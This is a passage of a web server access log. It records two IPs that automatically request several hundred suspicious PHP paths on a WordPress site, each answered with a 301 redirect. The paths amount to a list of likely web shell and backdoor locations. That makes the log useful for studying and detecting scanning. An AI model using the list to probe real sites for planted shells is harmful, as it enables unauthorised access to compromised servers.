[10/Apr/2025:06:35:57 -0400] "GET /wp-content/plugins/dzs-zoomsounds/error_log_1210678535.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:57 -0400] "GET /nf_tracking.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:57 -0400] "GET /permissions.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:57 -0400] "GET /wp-includes/fonts/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:58 -0400] "GET /wp-content/themes/Divi/includes/builder/frontend-builder/assets/vendors/plugins/fullscreen/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:58 -0400] "GET /ini.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:58 -0400] "GET /.well-known/acme-challenge/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:58 -0400] "GET /mail.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:58 -0400] "GET /gawean.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:59 -0400] "GET /wp-includes/fonts/log404.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:59 -0400] "GET /wp-includes/js/crop/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:59 -0400] "GET /wp-includes/css/dist/components/admin.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:59 -0400] "GET /download.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:59 -0400] "GET /wp-includes/Requests/Transport/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:59 -0400] "GET /test.php7 HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:36:00 -0400] "GET /wordpress/wp-includes/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:36:00 -0400] "GET /yanz.php/wp-admin/images/cloud.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:36:00 -0400] "GET /wp-admin/css/colors/light/about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:36:00 -0400] "GET /.well-known/bek.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:36:00 -0400] "GET /spam.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:36:00 -0400] "GET /wp-includes/sodium_compat/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:36:01 -0400] "GET /wp-content/plugins/pwnd-1/pwnd.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:36:01 -0400] "GET /.well-known/pki-validation/top.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:36:01 -0400] "GET /wp-includes/widgets/about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:36:01 -0400] "GET /pki-validation/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:36:01 -0400] "GET /.well-known/pki-validation/dropdown.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:36:02 -0400] "GET /feeds.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:36:02 -0400] "GET /wp-includes/PHPMailer/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:36:02 -0400] "GET /wp-admin/css/colors/blue/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:36:02 -0400] "GET /wp-content/plugins/Duplicatepost/src/ui/sidwso.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:36:02 -0400] "GET /forum.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:36:03 -0400] "GET /wp-includes/js/jquery/ui/3k0sm2/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:36:03 -0400] "GET /wp-content/themes/travelscape/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:36:03 -0400] "GET /wp-links.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:36:03 -0400] "GET /wp-includes/customize/amaxx.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:36:03 -0400] "GET /update/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:36:03 -0400] "GET /wp-content/upgrade-temp-backup/about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:36:04 -0400] "GET /wp-content/plugins/seoplugins/mar.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:36:04 -0400] "GET /wp-content/themes/about HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:36:04 -0400] "GET /alfanew.PhP7 HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:36:04 -0400] "GET /content.php888 HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:36:04 -0400] "GET /ms-themes.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:36:05 -0400] "GET /.well-known/pki-validation/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:36:05 -0400] "GET /theme.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:36:05 -0400] "GET /smaxx.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:36:05 -0400] "GET /wp-content/plugins/urawmub/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:36:05 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519/Ge/info.php.suspected HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:36:05 -0400] "GET /wp-content/plugins/Cache/Cache.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:36:06 -0400] "GET /wsoyanz.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:36:06 -0400] "GET /1index.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:36:06 -0400] "GET /wp-includes/Text/network.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:36:06 -0400] "GET /gecko.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:36:06 -0400] "GET /classwithtostring.php/rbzccnnp.php/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:36:06 -0400] "GET /wp-includes/radio.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:36:07 -0400] "GET /moderation.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:36:07 -0400] "GET /wp-content/plugins/fix/3.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:36:07 -0400] "GET /wp-includes/fonts/old.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:36:07 -0400] "GET /NewFile.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:36:07 -0400] "GET /help.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:36:07 -0400] "GET /.well-known/acme-challenge/mariju.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:36:08 -0400] "GET /wp-content/fonts/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:36:08 -0400] "GET /wp-content/themes/digital-download/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:36:08 -0400] "GET /wp-admin/network/index.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:36:08 -0400] "GET /xxx.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:20 -0400] "GET /images/icons/rouyg/hppd/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:20 -0400] "GET /wp-includes/xBrain.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:20 -0400] "GET /wp-content/plugins/imfrxbc/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:20 -0400] "GET /wp-content/themes/fag0z08y/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:21 -0400] "GET /c.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:21 -0400] "GET /wp-includes/blocks/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:21 -0400] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:21 -0400] "GET /wp-content/blogs.dir/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:21 -0400] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:21 -0400] "GET /wp-admin/plugins/setup HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:22 -0400] "GET /html_editor.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:22 -0400] "GET /wp-content/plugins/qvkwtfvfez/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:22 -0400] "GET /wp-cli.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:22 -0400] "GET /dashboard.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:22 -0400] "GET /ccx/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:23 -0400] "GET /alfa-rex.php7 HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:23 -0400] "GET /wp/wp-admin/wp-setup.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:23 -0400] "GET /images/partner/partner/images/imgs/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:23 -0400] "GET /wp/wp-content/themes/pridmag/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:23 -0400] "GET /wp-content/themes/wp-pridmag/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:23 -0400] "GET /wp-admin/includes/users.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:24 -0400] "GET /wp-content/plugins/wp-hps/sh/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:24 -0400] "GET /images/admin.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:24 -0400] "GET /css/dmtixucz/golden-access/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:24 -0400] "GET /libraries/phpmailer/updates.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:24 -0400] "GET /wp-content/plugins/aezvzos/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:25 -0400] "GET /sim.php/wp-includes/certificates/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:25 -0400] "GET /wp-includes/assets/script-loader.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:25 -0400] "GET /wp-includes/block-supports/index.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:25 -0400] "GET /excel.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:26 -0400] "GET /php_editor.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:26 -0400] "GET /wp-includes/theme-compat/border.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:26 -0400] "GET /wp-admin/plugins/init HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:26 -0400] "GET /wp-content/uploads/2016/03/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:27 -0400] "GET /plugins/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:27 -0400] "GET /wp-includes/SimplePie/HTTP/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:27 -0400] "GET /wp-content/plugins/Cache/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:27 -0400] "GET /wp-content/plugins/seoplugins/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:27 -0400] "GET /wp-includes/fonts/plugins.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:28 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/fonts/sx.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:28 -0400] "GET /wp-content/themes/sketch/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:28 -0400] "GET /wp-includes/assets/XeRzQ.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:28 -0400] "GET /alfacgiapi/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:28 -0400] "GET /wp-content/themes/tflow/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:29 -0400] "GET /wp-content/uploads/js_composer/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:29 -0400] "GET /wp-includes/SimplePie/Parse/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:29 -0400] "GET /wp-includes/IXR/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:29 -0400] "GET /.well-known/acme-challenge/sx.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:29 -0400] "GET /wp-content/themes/tk9zgum9/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:30 -0400] "GET /wp-content/uploads/2023/11/system.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:30 -0400] "GET /.well-known/setup HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:30 -0400] "GET /wp-content/plugins/seoo/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:30 -0400] "GET /wp-content/plugins/wp-mail-smtp/src/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:30 -0400] "GET /.wp-cli/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:30 -0400] "GET /byp.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:31 -0400] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:31 -0400] "GET /wp-admin/js/index.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:31 -0400] "GET /wp-includes/images/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:32 -0400] "GET /wp-p.php7 HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:32 -0400] "GET /xt/index.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:32 -0400] "GET /wp-content/plugins/custom/issue.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:32 -0400] "GET /wsa.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:32 -0400] "GET /wp-content/themes/krs2kdwa/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:33 -0400] "GET /wp-includes/js/tinymce/themes/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:33 -0400] "GET /wp-admin/doc.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:33 -0400] "GET /wp-admin/css/colors/blue/blkaabkj.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:33 -0400] "GET /hinfofuns.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:33 -0400] "GET /wp-index.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:34 -0400] "GET /wp-admin/images/Mhbgf.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:34 -0400] "GET /wp-includes/PHPMailer/about.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:34 -0400] "GET /wp-content/plugins/backup-backup/includes/438788106...php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:34 -0400] "GET /wp-content/uploads/2023/05/404.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:34 -0400] "GET /wp-admin/uploads HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:34 -0400] "GET /wp-content/style-css.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:35 -0400] "GET /ynz.PhP7 HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:35 -0400] "GET /css/sgd.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:35 -0400] "GET /wp-admin/YP1cuvy6WrD.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:35 -0400] "GET /LA.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:35 -0400] "GET /wp-content/plugins/gdrxuof/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:36 -0400] "GET /.well-known/about HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:36 -0400] "GET /wp-content/plugins/placester/views/partials/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:36 -0400] "GET /adminfuns.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:36 -0400] "GET /restart.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:36 -0400] "GET /wp-content/mu-plugins/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:37 -0400] "GET /wp-admin/includes/sx.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:37 -0400] "GET /down.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:37 -0400] "GET /wp-includes/assets/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:37 -0400] "GET /vendor/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:37 -0400] "GET /wp-admin/js/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:38 -0400] "GET /wp-includes/SimplePie/Cache/contents.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:38 -0400] "GET /wp-admin/network/sx.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:38 -0400] "GET /css/admin.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:38 -0400] "GET /libraries/legacy/updates.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:38 -0400] "GET /wp-includes/js/tinymce/skins/wordpress/images/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:38 -0400] "GET /wp-includes/js/tinymce/wp-tinymce.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:39 -0400] "GET /wp-includes/style-engine/about.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:39 -0400] "GET /Text/Diff/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:39 -0400] "GET /ee.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:39 -0400] "GET /wp-content/upgrade/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:39 -0400] "GET /filter.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:40 -0400] "GET /wp-content/plugins/WordPressCore/blkfqnikz.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:40 -0400] "GET /wp-includes/gCdfg/index.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:40 -0400] "GET /aaa.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:40 -0400] "GET /files.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:41 -0400] "GET /wp-includes/sodium_compat/namespaced/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:41 -0400] "GET /wp-includes/wp-widgets.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:41 -0400] "GET /tinyfilemanager/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:41 -0400] "GET /lai/robotica/wp-content/themes/seotheme/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:41 -0400] "GET /wp-content/plugins/upspy/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:42 -0400] "GET /thumbnail.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:42 -0400] "GET /wp-admin/js/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:42 -0400] "GET /wp-includes/blocks/block/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:42 -0400] "GET /wp-content/plugins/yfsmxkj/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:42 -0400] "GET /cgi-bin/cloud.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:43 -0400] "GET /wp-content/themes/aahana/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:43 -0400] "GET /.well-known/pki-validation/gkiliuew.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:43 -0400] "GET /video.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:43 -0400] "GET /wp-content/shell20211028.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:44 -0400] "GET /ALFA_DATA/alfacgiapi/function.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:44 -0400] "GET /wp-admin/css/colors/coffee/about.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:44 -0400] "GET /vendor/bin/loader.php/wp-admin/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:44 -0400] "GET /wp-content/plugins/core/include.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:44 -0400] "GET /avaa.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:44 -0400] "GET /ern.PhP7 HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:45 -0400] "GET /upload/2021_02_08/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:45 -0400] "GET /wp-includes/customize/themes.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:45 -0400] "GET /payment.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:45 -0400] "GET /wp-init.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:45 -0400] "GET /indec.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:46 -0400] "GET /.well-known/plugins/default HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:46 -0400] "GET /wp-content/uploads/cache.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:46 -0400] "GET /chtmlfuns.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:46 -0400] "GET /assets/libs/filemanager/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:46 -0400] "GET /wp-includes/images/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:47 -0400] "GET /wp-includes/product.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:47 -0400] "GET /wp-content/upload.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:47 -0400] "GET /wp-admin/plugins/config HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:47 -0400] "GET /wp-includes/css/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:47 -0400] "GET /wp-content/plugins/fix/00.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:47 -0400] "GET /wp-includes/rest-api/ZVQCc/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:48 -0400] "GET /wp-admin/includes/themes.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:48 -0400] "GET /.well-known/acme-challenge/doc.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:48 -0400] "GET /wp-content/plugins/gzzmasp/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:48 -0400] "GET /admin/upload/css.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:48 -0400] "GET /shell.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:49 -0400] "GET /config.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:49 -0400] "GET /wp-includes/css/index.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:49 -0400] "GET /estudiante16/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:49 -0400] "GET /access.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:49 -0400] "GET /lv.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:50 -0400] "GET /wp-content/uploads/wp-booter.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:50 -0400] "GET /wp-admin/css/colors/blue/atomlib.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:50 -0400] "GET /11index.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:51 -0400] "GET /b0.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:51 -0400] "GET /invoice.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:51 -0400] "GET /logs_view.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:51 -0400] "GET /wikindex.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:51 -0400] "GET /ern1.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:52 -0400] "GET /access_logs.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:52 